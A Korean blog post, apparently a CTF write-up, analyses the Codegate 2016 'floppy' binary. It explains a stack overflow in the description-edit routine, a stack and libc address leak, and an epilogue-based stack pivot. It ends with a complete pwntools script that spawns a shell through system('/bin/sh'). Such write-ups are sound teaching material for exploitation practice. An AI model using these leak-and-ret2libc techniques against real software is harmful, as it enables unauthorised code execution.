cgy12306
Codegate 2016 floppy 본문
floppy 바이너리를 실행해보자.
살짝 유추해 보자면 1번을 선택했을 때 플로피를 선택하고, 2번은 쓰기, 3번 읽기, 4번 수정, 5번 종료 대충 이런 프로그램 같다.
보호기법을 확인해보자.
NX bit, PIE가 설정 되어 있다.
아이다로 바이너리 분석해 보자.
처음에 1을 선택하게 되면 디스크를 선택해야 하는데 1번 또는 2번을 선택하게 된다.
이 선택한 번호에따라 v8 포인터에 v6가 연결될지 v7이 연결될지 결정된다.
스택상황을 그려보자.
v6[24] | v7[24] | v8 | v9 | ? | ebp | ret
sub_C5F는 2를 입력했을 때 들어가는 함수이다.
*(v7 + 4)에는 data의 동적할당 된 주소가 들어가 있고, *(v7+20)에는 입력한 길이가 들어간다.
*(v8 + 8)에는 Description이 0xa 만큼 넣게 된다.
sub_D5D는 3을 입력했을 때 들어가는 함수이다.
v8을 인자로 받아서 주소에 해당하는 값을 출력한다.
sub_DE6은 4를 입력했을 때 들어가는 함수이다.
v8을 인자로 받는다. v8에는 v7이나 v6의 주소를 담게 된다.
함수에서 수정할 부분을 선택하게 되는데 1 Description을 선택하게되면 s 버퍼에 0x25만큼 값을 읽어들이고, s의 버퍼 사이즈 -1한 만큼 *(v7+8)에 넣게 된다.
여기서 취약점이 발생한다.
다시 스택 구조를 생각해보면
v6[24] | v7[4] | data 주소[4] | descrption[14] | len[2] | v8[4] | v9[4] | ? | ebp | ret
이런 스택 구조를 가지는데 *(v7+8)에 0x24 만큼 값을 넣기 때문에 ret을 덮을 수 있게 된다.
해당 바이너리는 루프를 돌고 있기 때문에 정상종료하기 전까지 계속 프로그램을 돌릴 수 있다.
4번을 눌러서 수정을 한 후 1번을 누르게 되면 v8지점에 v7의 주소가 들어가게 된다.
그리고 2번을 눌러서 출력을 하면 printf 함수는 null byte를 만나기 전까지 출력을 하기 떄문에 스택의 주소가 leak이 된다.
이제 ret을 system 함수로 덮어서 익스를 하면 된다라고 생각했지만 덮어쓸 수 있는 곳은 딱 ret까지여서 system에 인자를 넘길 수 없다.
함수 종료부분을 디셈블해서 보면 이상한 부분이 보인다.
[ebp-8]이 갖고 있는 값을 esp에 넣고, ecx를 pop 한다.
그리고 ecx-4의 지점을 esp에 넣고 ret을 한다.
이 말은 우리가 ret값을 조종할 수 있다는 말이다.
NX bit가 걸려있어서 쉘 코드를 넣을 수 없고, PIE가 걸려있기 때문에 libc의 주소도 leak을 해야 한다.
stack 주소가 leak이 되었기 때문에 스택의 위치의 값을 하나씩 찾아보면 ret 영역을 보면 libc_start_main 값을 ret하는걸 볼 수 있다.
이 libc_start_main 값으로 libc base를 구할 수 있고 이 base로 system 함수를 구할 수 있다.
다시 에필로그로 돌아가서 ebp-8 지점에는 leak이 되는 스택의 주소 + 12를 넣어 description을 가리키게 하고, ret을 실행하게 하면 된다.
libc_base와 libc_start_main의 offset은 0x18e81만큼 차이난다.
libc_base와 system의 offset은 0x3d200이 차이난다.
/bin/sh의 주소는 libc_base와 0x17e0cf차이 난다.
페이로드를 작성해보자.
from pwn import *
import time
context.log_level = 'debug'
p = process('./floppy')
#gdb.attach(p)
p.recvuntil('>')
p.sendline('1')
p.recvuntil('Which floppy do you want to use? 1 or 2?')
p.sendline('1')
p.recvuntil('>')
p.sendline('2')
p.recvuntil('Input your data: ')
p.sendline('A'*4)
p.recvuntil('Description:')
p.sendline('B'*10)
p.recvuntil('>')
p.sendline('4')
p.recvuntil('Which one do you want to modify? 1 Description | 2 Data')
p.sendline('1')
payload = 'A' * 32
p.recvuntil('Input Description:')
p.sendline(payload)
p.recvuntil('>')
p.sendline('1')
p.recvuntil('Which floppy do you want to use? 1 or 2?')
p.sendline('1')
p.recvuntil('>')
p.sendline('3')
p.recvuntil('AAAAAAAAAAAAAAAA')
stack = u32(p.recv(4))
p.recvuntil('AAAAAAAAAAAA')
libc_start = u32(p.recv(4))
libc_base = libc_start - 0x18e81
binsh = libc_base + 0x17e0cf
system = libc_base + 0x3d200 - 04
print hex(stack), hex(libc_start), hex(system), hex(binsh)
sleep(0.1)
p.recvuntil('>')
p.sendline('4')
p.recvuntil('Which one do you want to modify? 1 Description | 2 Data')
p.sendline('1')
sleep(0.1)
payload = p32(system)
payload += 'A'*4
payload += p32(binsh)
payload += 'A'*8
payload += p32(stack+12)
payload += 'A'*13
p.recvuntil('Input Description:')
p.sendline(payload)
print 'send payload'
p.recvline('>')
p.sendline('5')
p.interactive()
여기서 system에 -04를 해준 이유는 system 주소가 null byte를 포함하고 있기 때문에 system 명령을 실행하기전인 4byte를 빼줬다.
'CTF Write-up' 카테고리의 다른 글
Codegate 2017 dart-master (0) | 2020.04.18 |
---|---|
WITHCON 2016 malloc (0) | 2020.04.18 |
Codegate 2017 Angrybird (0) | 2020.03.02 |
Rooters CTF ch03 Write-up (0) | 2019.10.31 |
Holyshield CTF jmper Write-up (0) | 2019.10.31 |